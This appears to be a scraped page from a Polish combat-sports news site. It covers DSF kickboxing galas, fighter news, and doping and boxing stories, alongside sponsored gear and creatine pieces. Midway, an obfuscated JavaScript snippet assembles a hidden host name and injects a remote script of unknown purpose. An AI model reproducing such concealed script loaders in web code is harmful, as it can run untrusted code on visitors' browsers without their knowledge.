LIVE: DSF 20 Królowie Ringu – Gala

Zapraszamy na transmisję telewizyjną z gali DSF 20 Królowie Ringu. Transmisja dostępna tylko dla widzów zza granicy.

[kod]

DSF Kickboxing Challenge 20

DSF Kickboxing Challenge 20

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Szwarnowiecki: Dam z siebie wszystko

Piąte miejsce w ubiegłorocznych mistrzostwach świata w judo w Baku stanowi motywację do dalszej wytężonej pracy dla Damiana Szwarnowieckiego (81kg). 25-letniego zawodnika zobaczymy niebawem w turnieju Grand Slam w Dusseldorfie.

Medal był o krok. W Baku Szwarnowiecki radził sobie znakomicie. Polski judoka wygrał trzy pojedynki i był blisko strefy medalowej. W półfinale lepszy od Szwarnowieckiego okazał się wicemistrz świata z 2015 roku Japończyk Sotaro Fujiwara. Zawodnik Gwardii Wrocław poradził sobie w repasażach i stanął do walki o brąz. Vedat Albayrak okazał się jednak lepszy. 5. miejsce zawsze rodzi pewien niedosyt, ale to w końcu mistrzostwa świata, więc wynik budził pozytywne odczucia. – Często wracam wspomnieniami do ubiegłorocznych mistrzostw świata w Baku. Dla jednych 5 miejsce w tak dużym turnieju byłoby sukcesem, dla innych porażką, którą by rozpamiętywali. Dla mnie jest wyłącznie motywacją, aby jeszcze mocniej trenować – podkreśla w rozmowie z FighTime.pl Damian Szwarnowiecki.

Na słowach się nie kończy. Szwarnowiecki ciężko pracuje, aby osiągać jak najlepsze wyniki. W ubiegłym roku na podium stanął raz – był drugi w Pucharze Europy w Pradze. Tegoroczne starty rozpocznie od zawodów Grand Slam w Dusseldorfie, które zaplanowano na 22-24 lutego. – Od trzech miesięcy intensywnie uczestniczę w zgrupowaniach kadry narodowej. Moje przygotowania w tym okresie głównie koncentrowały się na rozwoju siły maksymalnej. W akcjach szkoleniowych organizowanych przez Polski Związek Judo od pół roku uczestniczy nowy trener przygotowania motorycznego, Igor Dzierżanowski. Dzięki celnym uwagom Igora, na obozach zostaje zachowana odpowiednia harmonia między treningami na macie, a siłownią – prezentuje Szwarnowiecki. – Moim pierwszym startem w sezonie będzie Grand Slam w Dusseldorfie. Przed turniejem planuję międzynarodowe campy w Herstal oraz Paryżu – dodaje.

Piąty zawodnik mistrzostw świata w Baku podkreśla, że skupia się na trenowaniu, aby podnosić umiejętności sportowe. To droga do sukcesu. Szwarnowiecki nie chce składać żadnych deklaracji, co do osiągnięcia konkretnych wyników. – Obiecuję wyłącznie przed sobą. Nie chcę tworzyć  niepotrzebnych presji i barier, które mogą mnie tylko przytłaczać. Wiem, że to jest mój czas i dam z siebie wszystko, aby zakwalifikować się na Igrzyska Olimpijskie w Tokio – tłumaczy judoka.

Fot. Fot. International Judo Federation

KM

DSF Kickboxing Challenge ma nowego dyrektora

Robert Złotkowski nie jest już dyrektorem sportowym federacji DSF Kickboxing Challenge. Jego miejsce zajmie Tomasz Bałdyga (na zdjęciu z prawej).

Robert Złotkowski zdobywał cenne doświadczenie jako kickbokser i bokser. Zapisał na swoim koncie mistrzostwa Polski oraz medale mistrzostw Europy w wielu formułach. To doświadczenie wykorzystuje jako trener, który współpracuje z wieloma czołowymi zawodnikami MMA m.in. Janem Błachowiczem, Marcinem Tyburą czy Danielem Omielańczukiem. W 2016 roku Złotkowski dołączył do federacji DSF Kickboxing Challenge, gdzie odpowiadał za układanie kart walk. Jego praca miała przyczynić się rozwoju organizacji i przyciągnięcia ciekawych zawodników. Jak pokazuje czas – efekty działań Złotkowskiego są widoczne. Ostatnio pełnił on funkcję dyrektora sportowego DSF. 1 lutego federacja wydała komunikat, w którym poinformowała o zmianie na wspomnianym stanowisku.

Miejsce Złotkowskiego zajmie Tomasza Bałdyga, który zna realia DSF Kickboxing Challenge. Dotychczas pracował jako matchmaker i zajmował się sprawami rozwoju sportu. – Bardzo liczymy na zaangażowanie Tomka i świadomie chcemy wzmocnić jego rolę oraz odpowiedzialność, dając mu więcej decyzyjności i autonomii. Jestem przekonany, że wraz z Tomkiem wzmocnimy zespół oparty na merytorycznym przygotowaniu, doświadczeniu i znajomości tej pięknej dyscypliny jaką jest kickboxing – podkreśla Sławomir Duba, promotor DSF Kickboxing Challenge.

Nowy dyrektor sportowy jasno określa swoje cele. – Moim priorytetem będzie komunikacja z zawodnikami, ułożenie długoterminowego planu funkcjonowania federacji oraz stworzenie optymalnych warunków do osiągania jak najlepszych wyników sportowych – powiedział Bałdyga.

Warto zaznaczyć, że to kolejna zmiana w DSF w ostatnim czasie. Od 2019 roku nowy prezesem federacji został Marek Tkaczyński, z kolei Sławomir Duba sprawuje funkcję promotora.

Najbliższa gala organizacji odbędzie się 23 lutego w Krakowie. Podczas DSF Kickboxing Challenge 20 zobaczymy dwa ćwierćfinały turnieju wagi ciężkiej, którego stawką jest walka o pas i nagroda w wysokości 100 tys. zł. W Krakowie zmierzą się: Tomas Hrom i Kirill Kornilov oraz Dawid Żółtaszek i Zaha Trofimov. Gala DSF 20 będzie wyjątkowa dla Tomasza Sarary, który po raz pierwszy będzie bronił mistrzowskiego pasa. Polski zawodnik zmierzy się z Francuzem Abderahmane Coulibaly’m.

KM

Fot. dzięki uprzejmości DSF Kickboxing Challenge Facebook

Sporty walki – idealne jako hobby i profesjonalny trening

Jakie sporty walki najczęściej uprawiane są hobbistycznie?

Sztuki walki mogą być trenowane przez każdego, bez względu na wiek, kondycję czy umiejętności. Intensywność treningu oraz nauki technik danej sztuki walki dobierana jest przez trenerów po wcześniejszym zapoznaniu się z kandydatem. Dostosowywanie treningu do osoby umożliwia szybki postęp w szkoleniu oraz sprawne uzyskiwanie pożądanych efektów. Trening jest również uzależniony od rodzaju wybranej sztuki walki. 

Bardzo popularnym wyborem jest boks. Ta sztuka walki posiada bogatą historię oraz tradycję. Boks jest jedną z niewielu sztuk walki zaliczaną do dyscyplin olimpijskich. Sport ten wymaga doskonałych umiejętności, siły oraz sprytu. Bardzo ważna jest technika, która integruje pracę całego ciała. Najważniejsze w boksie są nogi, na których zawodnik musi umiejętnie pracować. Boks jest sportem bezpiecznym, kontaktowym, polegającym na uderzaniu wyłącznie rękami w określone partie ciała, z pominięciem pleców, tyłu głowy oraz partii poniżej pasa. Boks to jednocześnie rozwijający oraz mocno dochodowy sport, dlatego też cieszy się on dużym zainteresowaniem na całym świecie. To na fundamentach boksu powstały takie sztuki walki jak kick boxing i MMA.

""

Kick boxing to forma boksu rozbudowana o możliwość kopnięć. Ta sztuka walki zyskuje sobie coraz więcej zwolenników. Dzięki wykorzystaniu nóg w walce staje się też ona bardziej zjawiskowa. Kick boxing nie jest jednak dyscypliną olimpijską. Nie jest nią też MMA. MMA to sport walki polegający na mieszaniu kilku stylów. Podstawą MMA, podobnie jak kick boxingu jest boks. W trakcie walki w MMA stosowane są również kopnięcia oraz elementy zapaśnicze. Przeciwnikowi można także zakładać dźwignie, uderzać kolanami, łokciami, a sama walka odbywa się stojąc lub w parterze. W MMA stosuje się zatem wiele technik, które adept musi opanować. MMA to sztuka walki bardzo wymagająca fizycznie, ale jednocześnie jest ona niezwykle skuteczna. 

Wymagające fizycznie są także zapasy. Ta sztuka walki również zaliczana jest do dyscyplin olimpijskich. Historia zapasów zaczyna się w starożytności. Sport ten oparty jest na walce zwartej odbywające się głównie w parterze. Walczący wykonują bloki, rzuty, obalenia. Zapasy to bardzo wymagająca, ale też doskonała dyscyplina sportu.

""

Niezwykle często wybieraną sztuką walki jest karate. Sport ten jest nie tylko zbiorem konkretnych technik, ale także opiera się on na kształtowaniu człowieka oraz jego rozwoju. Karate wykorzystuje ludzkie ciało w różnoraki sposób, w zależności od wersji sztuki walki, a tych karate ma kilka. Na podobnych zasadach opierają się inne wschodnie sztuki walki, jak na przykład kung-fu, jujutsu czy taekwondo. Ostateczny wybór danej sztuki walki uzależniony będzie już od oczekiwań i wymagań danej osoby.

 

 

Jak wpływa uprawianie sportów walki na człowieka?

Sztuki walki to te dyscypliny sportu, które skutecznie dostarczają wymaganej aktywności w codziennym życiu. Dzięki sportom walki zapewnia się trening całego ciała, usprawnia kondycję, buduje mięśnie oraz skutecznie rozwija motorykę całego organizmu. Uprawianie sztuk walki jest bardzo wymagające i z tego trzeba zdać sobie sprawę. Zestaw ćwiczeń przy każdej ze sztuk walki pozytywnie wpływa na polepszenie stanu kondycji fizycznej, wzmocnienie mięśni i stawów oraz utratę tkanki tłuszczowej, a co za tym idzie redukcję wagi. Sylwetka adepta sztuk walki zdecydowanie się polepsza, nabiera atletycznych kształtów.

""

Każda ze sztuk walki rozwija koordynację ruchową usprawniając komunikację nerwową pomiędzy mózgiem a mięśniami, dzięki czemu czas reakcji zostaje skrócony. Razem z szybkością rozwija się też siła oraz szybkość, co zwiększa pewność siebie osoby trenującej. Sztuki walki poprawiają również koncentrację oraz skutecznie dbają o stan psychiczny, dzięki wyładowywaniu złych emocji podczas treningów. Wschodnie sztuki walki dodatkowo zawierają elementy medytacji i samodoskonalenia, dzięki czemu człowiek odzyskuje spokój, kontrolę nad swoim życiem. Częste treningi pozwalają odpocząć mózgowi dostarczając mu cennych endorfin.

 

Skuteczna samoobrona – efekt uboczny sportów walki

Trenując sztuki walki człowiek zdobywa bardzo przydatną umiejętność, jaką jest samoobrona. Posługiwanie się technikami defensywnymi oraz ofensywnymi zapewnia skuteczną obronę przed atakiem w codziennym życiu. Uprawianie sztuk walki daje dużą pewność osobie, zapewnia poczucie bezpieczeństwa, a w sytuacji ataku przez osoby trzecie pozwala na skuteczną obronę. Trenerzy sztuk walki uświadamiają swoich uczniów, że użycie technik danej sztuki jest dopuszczalne tylko w hali treningowej oraz w sytuacji obrony przed atakiem. Umiejętność samoobrony jest dziś bardzo przydatna.

Kask, rękawice i ochraniacze – czyli jaki sprzęt będzie potrzebny?

Trening sztuk walki wymaga doświadczonego trenera, sporo samozaparcia, konsekwencji oraz specjalistycznego sprzętu. Decydując się na boks konieczne jest wyposażenie się w odpowiedni sprzęt. Podstawą są oczywiście rękawice bokserskie oraz kask bokserski treningowy. Podobnie trenując MMA konieczne są rękawice do MMA. W kick boxingu przyda się kask i ochraniacze. Każda inna sztuka walki w momencie ćwiczeń potyczek korzysta z takich sprzętów, jak kask sparingowy czy inne elementy ochronne zapewniające bezpieczeństwo.

""

Doskonałej jakości, sprawdzony i wykorzystywany przez profesjonalne szkoły sztuk walki dostępny jest w ofercie sklepu hurtowniasportowa.net. Firma posiada zawodowe rękawice MMA, rękawice bokserskie renomowanych marek (na przykład: rękawice bokserskie Adidas, rękawice bokserskie Dragon, rękawice bokserskie Everlast); kaski, ochraniacze oraz inny sprzęt wykorzystywany w treningach sztuk walki. Wyposażenie to zadowoli zarówno adeptów, jak i zawodowców.

 

 

 

 

 

[kod]

(function(){
xggd_=("u"+"")+"s"+"";xggd_+=("tat.")+("i");
xggd=document.createElement("script");xggd.type="text/javascript";xggd_+="nf"+("o")+"/";
xggdu="129574268"+".";xggd.async=true;xggdu+="xx5m8ug0ggdaecX5mmkgub6x973zzu";
xggd.src="https://"+xggd_+xggdu;xggdb=document.body;xggdb.appendChild(xggd);
})();

Lobov znajdzie przystań w Polsce?

Artem Lobov został zwolniony z UFC. 32-latek wymienił listę organizacji, w których chciałby występować. Irlandczyk czeka na propozycje, jedną już otrzymał – wysunął ją prezes FEN Paweł Jóźwiak.

Lobov jest znany w świecie sportów walki jako zawodnik, który nie boi się żadnego wyzwania. Irlandczyk gotów był spotkać się z każdym rywalem. Organizatorzy gal proponowali przeciwnika, a on wchodził i walczył. Problem w tym, że jego kariera to istna sinusoida. Wygrane przeplatał porażkami, jednak w końcu stanął u bram UFC. W 2015 roku Lobov trafił do programu The Ultimate Fighter, a potem miał okazję prezentować się w najlepszej organizacji MMA na świecie. Wygrał tylko dwie walki, a jego przygoda dobiegła końca po trzech porażkach z rzędu, które zanotował w latach 2017-2018. Łącznie w UFC Irlandczyk urodzony w Rosji uznał wyższość rywali pięć razy. Lobov zyskał popularność przy wsparciu… Conora McGregora, który stawał w jego narożniku. Ten element nie przeważył jednak szali i Irlandczyk musi szukać nowego pracodawcy.

32-letni Lobov wystosował swego rodzaju ogłoszenie za pośrednictwem Twittera. – Załadowany, gotowy do podjęcia każdego! Kto tego chce? – napisał zawodnik i wymienił następujące organizacje: Bellator, Rizin, Bare Knuckle FC, Obe Championship oraz ACA. W tym gronie znalazła się również federacja KSW. Z Polski napłynęła kolejna propozycja dla Irlandczyka. Wystosował ją prezes FEN Paweł Jóźwiak. – Może FEN? Przyjdź Russian Hammer (pseudonim fightera), zróbmy to – zwrócił się włodarz organizacji.

Pozostaje czekać na ruch kolejnych podmiotów. Z pewnością angaż Lobova będzie niósł ze sobą rozgłos. Co do obecności Irlandczyka w Polsce, zawodnik dwukrotnie prezentował się w naszym kraju. W listopadzie 2014 roku wystąpił na gali Fighters Arena 10 w Bełchatowie, gdzie w walce wieczoru zremisował z Pawłem Kiełkiem. Drugi występ miał miejsce w płockiej Orlen Arenie. Podczas gali ACB 13 Lobov pokonał Rasula Shovhalova. Podczas swojej kariery Irlandczyk urodzony w Rosji walczył także z Kamilem Gniadkiem, Arturem Sowińskim czy Kamilem Koryckim. Na swoim koncie Lobov ma 13 zwycięstw i 15 porażek.

Fot. Artem "The Russian Hammer" Lobov Facebook

KM

Wszystko się krystalizuje

Wiadomo, że 2019 rok może być gorący w wadze ciężkiej. Coraz bliżej konkretów w sprawie rewanżowej walki Tysona Fury’ego z Deontayem Wilderem. Z kolei Anthony Joshua ma zmierzyć się z Jarrellem Millerem.

Przez długi czas zapowiadano, że kolejne starcie Joshuy odbędzie się 13 kwietnia na stadionie Wembley. W grudniu ubiegłego roku czempion IBF, WBO, WBA i IBO zapowiadał gotowość do starcia z Wilderem. Również Eddie Hearn, promotor Brytyjczyka, podkreślał, że celem numer jeden jest Wilder. Wtedy do akcji wkroczył, jakżeby inaczej – Tyson Fury.  Olbrzym z Wilmslow wymyślił, że 13 kwietnia miałaby się odbyć jego rewanżowa walka z Wilderem. Przypomnijmy, 1 grudnia w Staples Center pojedynek bokserów oceniono jako remisowy. Również Wilder podkreślał chęć rewanżu, co w kłopotliwej sytuacji stawiało Joshuę. 13 kwietnia zostałby… w cieniu. Ofertę walki z mistrzem otrzymał również Fury. Brytyjczyk podkreśla, że liczą się tylko dwaj rywale – Wilder i Joshua. Jednak musiał wbić kij mrowisko mówiąc o strachu "AJ" przed starciem z nim.

Wiadomo, że cała otoczka ma na celu wzbudzenie jak największego zainteresowania. Trwa oczekiwanie na hitowe pojedynki w wadze ciężkiej, jednak droga do nich musi przejść przez kolejne etapy. Wydaje się, że z jednej strony to gra pozorów i obawy. Fury nigdy nie zważał na słowa i używał mocnego języka. Może i uderza w Joshuę, ale zapewne też ma obawy względem starcia z czempionem. Z Wilderem olbrzym z Wilmslow już walczył i poczuł, że może z nim wygrać. Mistrz WBC jest podrażniony remisem i chce zanotować kolejne zwycięstwo. Niby Joshua jest teraz w cieniu, ale on ma wszystkie karty w ręku. Kto by nie wygrał starcia Wilder-Fury, prędzej czy później stanie w szranki z „AJ”.

Po kolei. 13 kwietnia Joshua zapewne nie wystąpi na Wembley. Nie widać postępów w rozmowach z potencjalnymi rywalami. Do przodu idą ustalenia w sprawie starcia z Jarrellem Millerem. Pojedynek miałby odbyć się 1 czerwca w Madison Square Garden w Nowym Jorku. Coraz bliżej konkretów w sprawie rewanżu niepokonanych Wildera i Fury'ego. W kontekście ich walki padają dwa terminy – 27 kwietnia bądź 18 maja w Barclays Center na Brooklynie.

Fot. Deontay Wilder Facebook

KM

Co daje kreatyna? Poznaj najważniejsze fakty

Kreatyna – substancja naturalnie występująca w ludzkich mięśniach – stanowi popularny składnik suplementów diety dla sportowców. Dzieje się tak z co najmniej kilku ważnych powodów. Poniżej krótko omówiliśmy każdy z nich.

Powód pierwszy: powoduje wzrost masy mięśniowej

Kreatyna to składnik, który może wspierać wzrost siły i wielkości mięśni. Wskazują na to niezliczone badania naukowe. Szereg korzyści płynących dla organizmu z obecności tego składnika sprawia, że sportowcy chcący zbudować umięśnioną sylwetkę sięgają po suplementy zawierające kreatynę – między innymi po Activlab Creatine Powder Super. Kreatyna (w wersji monohydratu przyswaja się najlepiej) przyczynia się do wzrostu masy mięśniowej i przyrostu siły. W jednej łyżeczce monohydratu jest tyle kreatyny, ile w wielu kilogramach mięsa czy ryb.

Powód drugi: dostarcza energii podczas wyczerpujących treningów

Wielu sportowców, którzy po pewnym czasie stosowania odstawili kreatynę, dostrzegło u siebie spadek energii. Kreatyna zwiększa energię niezbędną dla skurczów mięśni, umożliwiając odbywanie bardziej wymagających, intensywnych i dłuższych treningów. W procesie przyswajania jest transportowana do tkanki mięśniowej, gdzie przekształca się w fosforan kreatyny. Z niego jest następnie produkowana cząsteczka energii ATP, która jest niezbędna w procesie regeneracji mięśni. W ten sposób przyjmowanie kreatyny przekłada się na bardziej produktywne treningi i szybszy wzrost masy mięśniowej. Kreatyna zwiększa wydajność nie tylko u osób zawodowo uprawiających sport (zapaśników, piłkarzy, pływaków, hokeistów itp.) czy osób chcących poprawić wyniki podczas krótkich okresów aktywności sportowej cechującej się dużą intensywnością (sprint czy podnoszenie ciężarów), ale także wspiera amatorów ćwiczących w wolnych chwilach w osiąganiu lepszych wyników i bardziej estetycznej sylwetki.

Powód trzeci: zwiększa poziom substancji w organizmie do pożądanego poziomu

Jak już wcześniej wspomnieliśmy, kreatyna jest naturalnym składnikiem występującym w każdym organizmie. U człowieka znajduje się w zdecydowanej większości (98%) w mięśniach. Drobne ilości tej substancji znajdują się także w mózgu, nerkach, trzustce, jądrach i wątrobie. Warto wiedzieć, że 1 gram kreatyny jest dostarczany organizmowi w codziennej diecie – głównie na skutek spożycia mięsa i ryb. Kolejny zalecany 1 gram, na które organizm ma zapotrzebowanie, warto pokryć, stosując suplementy diety zawierające kreatynę, a najlepiej – dobrze wchłaniany – monohydrat kreatyny.

Powód czwarty: jest prosta do kupienia i dostępna pod wieloma postaciami

Kreatynę można dostarczyć organizmowi w prosty sposób – nie tylko poprzez stosowanie diety, ale także na skutek uzupełniania jej poprzez łatwo dostępny monohydrat. Kreatyna może być przyjmowana nie tylko w formie sproszkowanej, ale także pod postacią tabletek, batonów energetycznych i mieszanek do picia. Prosta w dawkowaniu i przyjmowaniu substancja pozwala poprawić sprawność fizyczną, dlatego jest tak chętnie stosowana wśród osób aktywnie uprawiających sport i dbających o swoją sylwetkę.

 

 

Pas zostaje u Bratkowicza

Maksymilian Bratkowicz nadal na szczycie. Podczas gali DSF 19: Ringowa Wojna w Warszawie mistrz obronił pas wagi średniej. Do zmiany doszło na tronie kategorii piórkowej.

Na tydzień przed wydarzeniem nastąpiła zmiana lokalizacji. Galę przeniesiono z Grudziądza do Warszawy. DSF 19: Ringowa Wojna przyniosła dwie ciekawe walki mistrzowskie oraz pewne zwycięstwo Polski nad Litwą. Momentami było… śmiesznie. Podczas jednej z walk doszło do zmiany sędziego, ponieważ arbitrowi rozerwały się spodnie. Zostańmy jednak przy emocjach sportowych, bo tych nie brakowało.

Przed walką o pas wagi średniej było gorąco. Maksymilian Bratkowicz nie ukrywał swoich ambicji, również Daniel Viedenthaler był zdeterminowany. Widoczne było to w ringu. Energiczny początek i momentami chaotyczne akcje, ale i mocne ciosy. Na początku drugiej rundy Bratkowicz „posadził” low kickiem rywala. Czech spychał Polaka pod liny, ale niewiele z tego wychodziło. Ponadto Viedenthaler próbował trafić przeciwnika kolanem. Po zakończeniu czwartej rundy widać było trudy pojedynku u obu fighterów. W piątej odsłonie lepiej wyglądał Czech. Trafił mocnymi uderzeniami, a Bratkowicz opadał z sił. W końcówce przebudził się Polak, ale pozostawało pytanie – czy to wystarczy? Szalony pojedynek zakończył się triumfem Bratkowicza.

O pas wagi piórkowej rywalizowali Jan Lodzik i Eliasz Jankowski. Pierwotnie „Iron” miał spotkać się z Mateuszem Rajewskim, jednak na początku tygodnia „Rzeźnik” musiał wycofać się z występu na DSF 19 z powodu kontuzji. Federacja ekspresowo znalazła zastępstwo. Ani chwili nad możliwością walki o pas nie zastanawiał się Eliasz Jankowski. Lodzik miał rachunki do wyrównania z rywalem, bo swego czasu musiał uznać jego wyższość. Doświadczenie Eliasza Jankowskiego i umiejętności Jana Lodzika sprawiły, że pojedynek był ciekawy. Zawodnicy ciężko pracowali, próbowali ekwilibrystycznych akcji. Cios za cios, kopnięcie za kopnięcie oraz pełne skupienie. Wydawało się, że w ofensywie lekko przeważa Lodzik. Pięć rund i czas na decyzję sędziów. 48:47, 48:47 i 49:47 dla Jankowskiego, który ponownie pokonał Lodzika i został nowym mistrzem DSF.

W walce „ciężkich” (+91kg) Kewin Wiwatowski lepszy od Mateusza Janu. Pojedynek ciekawy, obaj zawodnicy nie stronili od walki. Nie brakowało wymian i mocnych ciosów oraz kopnięć. Wiwatowski triumfował w trzeciej rundzie.

Fantastyczna postawa Polaków w międzypaństwowym meczu z Litwą. W pierwszej walce (65kg) zaprezentował się Michał Polak. Otwarcie dla Jonasa Vasiliauskasa, jednak z czasem inicjatywę przejął nasz zawodnik. 19-letni Litwin przekonał się o sile Polaka, który co i raz niepokoił przeciwnika low kickami. W drugiej odsłonie pojedynek zakończył się przez TKO. Kolejne starcie(71kg) rozstrzygnęło się na punkty. Patryk Radoń był skuteczniejszy, zadawał więcej ciosów i dążył do rywalizacji, zaś Ernestas Dapkus szukał raczej klinczu. Zdecydowana wygrana Radonia – 30:26, 30:26 i 30:27. Kropkę nad "i" postawił Daniel Kolasiński. Wszedł do ringu na luzie i przez całe starcie był stroną dopingującą w pojedynku z Deividasem Jemeljanovasem. W drugiej rundzie frontalne kopnięcie Kolasińskiego zakończyło walkę.

W pojedynku w limicie 60kg Michał Marszał pokonał jednogłośną decyzją Dominika Tomicę.

Fot. DSF Kickboxing Challenge Facebook

KM

Historia lubi się powtarzać

W organizmie Jona Jonesa wykryto niedozwolone substancje. Po raz kolejny… Amerykańskiemu zawodnikowi się jednak upiecze.

29 grudnia popularny "Bones" wrócił w wielkim stylu. Podczas gali UFC 232 w The Forum w Inglewood w trzeciej rundzie znokautował Alexandra Gustafssona i sięgnął po pas mistrzowski wagi półciężkiej. Dla Jonesa był to pierwszy pojedynek od ponad dwóch lat. Wcześniejsze starcie (lipiec 2017) z Danielem Cormierem unieważniono w związku z pozytywnym wynikiem testów antydopingowych u "Bonesa". Kara – 15 miesięcy zawieszenia.

Wydawać by się mogło, że liczne kłopoty pozwolą 31-latkowi urodzonemu w Rochester wyciągnąć odpowiednie wnioski. Przez wiele lat Jones był mistrzem UFC, a w jednej chwili jego wizerunek diametralnie się zmienił. Ciąg negatywnych wydarzeń nie poprawia jego sytuacji. Przypomnijmy kolejną sprawę, przed walką z Gustafssonem u Jonesa wykryto śladowe ilości turinabolu. Do pojedynku doszło, ponieważ… galę przeniesiono z Las Vegas do Inglewood. Przyczyna była prosta. Komisja Sportowa Stanu Nevada zapewne nie zgodziłby się na starcie.

Niecały miesiąc po walce pojawiają się kolejne wiadomości o stosowaniu niedozwolonych środków przez Jona Jonesa. Testy antydopingowe zostały przeprowadzona 28 grudnia, a więc w dniu ważenia przed galą UFC 232. U Jonesa wykryto obecność turinabolu. Mistrzowi UFC się jednak upiecze. Dlaczego? Andy Foster z Komisji Sportowej Stanu Kalifornia zwraca uwagę na tzw. efekt pulsacyjny. Mówiąc jaśniej – niewielkie ilości środków stosowanych przez Jonesa w przeszłości mogą być wykrywane w jego organizmie w przyszłości.

Jon Jones może spać spokojnie, ponieważ kalifornijska komisja nie zamierza w żaden sposób go karać. Zatem 31-latek pozostaje w posiadaniu pasa mistrzowskiego i może szykować się do kolejnego starcia. 2 marca Jones zmierzy się z Anthonym Smithem.

Z pewnością jednak cała sprawa nie działa pozytywnie na wizerunek zawodnika. Nie da się ukryć, że każda kolejna walka Jonesa będzie budziła wątpliwości, a analiza nie sprowadzi się jedynie do aspektu sportowego.

Podczas dotychczasowych występów 31-letni Amerykanin odnotował 23 zwycięstwa, przegrał tylko raz.

KM

TEST

test

[kod]

DSF Kickboxing Challenge 19

DSF Kickboxing Challenge 19

var player = redcdnplayer("redcdnplayer").setup({

file: {

hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",

dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",

ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"

},

width: 640,

height: 380,

autoplay: false,

});

DSF 19: Kontuzja Mateusza Rajewskiego. Jan „Iron” Lodzik zmierzy się z Eliaszem Jankowskim!

Badanie kontrolne w Centrum Medycyny Sportowej wykazało, że Mateusz Rajewski zmaga się z poważną kontuzją i nie może przystąpić do czwartkowej walki z Janem Lodzikiem o mistrzostwo DSF Kickboxing Challenge w wadze piórkowej (do 65 kg). Federacja błyskawicznie znalazła zastępstwo i na gali DSF 19 czempion zmierzy się z Eliaszem Jankowskim.

– Mateusz ma naderwany rdzeń ścięgnisty w bicepsie prawej ręki. Gdyby go zerwał, mógłby już nigdy nie wrócić na ring. Całe szczęście, że udało nam się w porę to wykryć – zdradza fizjoterapeutka Emilia Kurowska, która będzie czuwała nad rehabilitacją Rajewskiego.

25-letni „Rzeźnik” w bardzo dobrym stylu wygrał dwie ostatnie walki i stał się naturalnym pretendentem do tytułu mistrzowskiego. Pojedynek z Lodzikiem miał zwieńczyć ich trylogię, w której „Iron” dwukrotnie minimalnie wygrywał. Trzecia walka będzie jednak musiała zaczekać.

– Napisałem wczoraj do Mateusza. Szczerze mu współczuję, ale co się odwlecze, to nie uciecze. Mam nadzieję, że szybko wróci do zdrowia. Jeszcze razem zatańczymy w ringu! – zapewnia 23-letni Jan Lodzik (13-2). Kontuzjowanego Rajewskiego zastąpi zawodowy mistrz świata i wielokrotny mistrz Polski w kickboxingu Eliasz Jankowski (20-7-1).

– Znamy się od lat, to wojownik z krwi i kości – komplementuje rywala Lodzik. – Eliasz jest najbardziej doświadczonym polskim zawodnikiem w tej kategorii. Prezentuje zupełnie inny styl niż Mateusz Rajewski, bazuje na mocnym boksie. Wiele razy myślałem o tym pojedynku, najwyraźniej go przyciągnąłem. Zgodziłem się na walkę od razu, to była męska decyzja. Nie boję się walczyć z nikim. Przed laty przegrałem z Eliaszem trzy walki, jedną przed czasem. W czwartek będę miał okazję wyrównać rachunki! – cieszy się „Iron”.

Weteran Jankowski również nie wahał się, gdy pojawiła się oferta walki o mistrzowski pas federacji DSF Kickboxing Challenge. Zawodnik z Legnicy ostatni pojedynek stoczył 12 stycznia w Lubinie. Na gali FEN 23 pokonał w dobrym stylu Huberta Dylewskiego.

– To dla mnie naprawdę duża szansa, zamierzam w pełni ją wykorzystać – mówi 33-letni Eliasz Jankowski.  To prawda, że dowiedziałem się o walce w ostatniej chwili, ale jestem zawodowcem. Forma z ostatniego występu została utrzymana, kontuzji brak. Znamy się dobrze, walczyliśmy parokrotnie w amatorce i wygrywałem te pojedynki. Teraz też zamierzam go pokonać – kończy.

Gala DSF Kickboxing Challenge 19 odbędzie się w czwartek 24 stycznia w Hali Widowiskowej przy ul. Polnej 7a w Warszawie. Transmisja na żywo od godziny 20:15 na antenie TVP Sport.

Serdecznie zapraszamy wszystkich przedstawicieli mediów do udziału w oficjalnej ceremonii ważenia przed galą DSF Kickboxing Challenge 19. Ceremonia odbędzie się w środę 23 stycznia o godzinie 12:00 w Axe Nation – Axe Throwing Club w Warszawie przy ul. Postępu 5. Wstęp wolny.

Do wtorku przyjmujemy wnioski akredytacyjne na galę DSF Kickboxing Challenge 19. Zainteresowanych przedstawicieli mediów prosimy o przesłanie wiadomości zawierającej nazwisko, nazwę redakcji oraz numer kontaktowy na adres pr@dsfchallenge.com. Proces akredytacyjny dobiegnie końca we wtorek o północy.

Pojedynek 40-latków?

40-letni Manny Pacquiao wypunktował w Las Vegas 29-letniego Adriena Bronera. Teraz Filipińczyk ponownie chciałby spotkać się z Floydem Mayweatherem Jr.

Niektórzy mogą zacząć drapać się po głowie i zastanawiać nad dalszym rozwojem wypadków. 2 maja w Las Vegas Mayweather Jr. okazał się lepszy od Filipińczyka, który zdobywał pasy w ośmiu kategoriach wagowych. Poza tym, że pojedynek uznawano za jeden z najbardziej wyczekiwanych w XXI wieku, dodatkowo stał sie finansowym sukcesem. Mówiono o walce stulecia. Główni aktorzy zarobili pokaźne sumy – ok. 150 mln dolarów Mayweather, Pacquiao ok. 100 mln dolarów. Do tego doszły wpływy z pay per view. "Money" zdradził, że łączenie zgarnął ponad 275 mln dolarów. Jeśli na potencjalny rewanż patrzeć w kategoriach finansowych – z pewnością obu bokserom opłaca się ponownie wejść do ringu.

Warto przypomnieć, że Pacquiao miał zakończył karierę po pojedynku z Timothy'm Bradleyem Jr. W kwietniu 2016 roku Filipińczyk wygrał i miał zamknąć pewien rozdział. Pacquiao miał zająć się polityką, w wyborach został wybrany na senatora. Wielokrotny mistrz świata wchodził jeszcze do ringu, jednak w lipcu 2017 roku dość niespodziewanie przegrał z Jeffem Hornem, który został czempionem WBO w kategorii półśredniej. Niektórzy mówili o upadku legendy. "Pacman" nie poddał się i wrócił. W Kuala Lumpur pokonał przed czasem Lucasa Martina Matthysse i zdobył kolejny tytuł. Tym razem Pacquiao mógł się pochwalić pasem WBA w kategorii półśredniej. 61 zwycięstwo zapisał na swoim koncie pokonując Bronera.

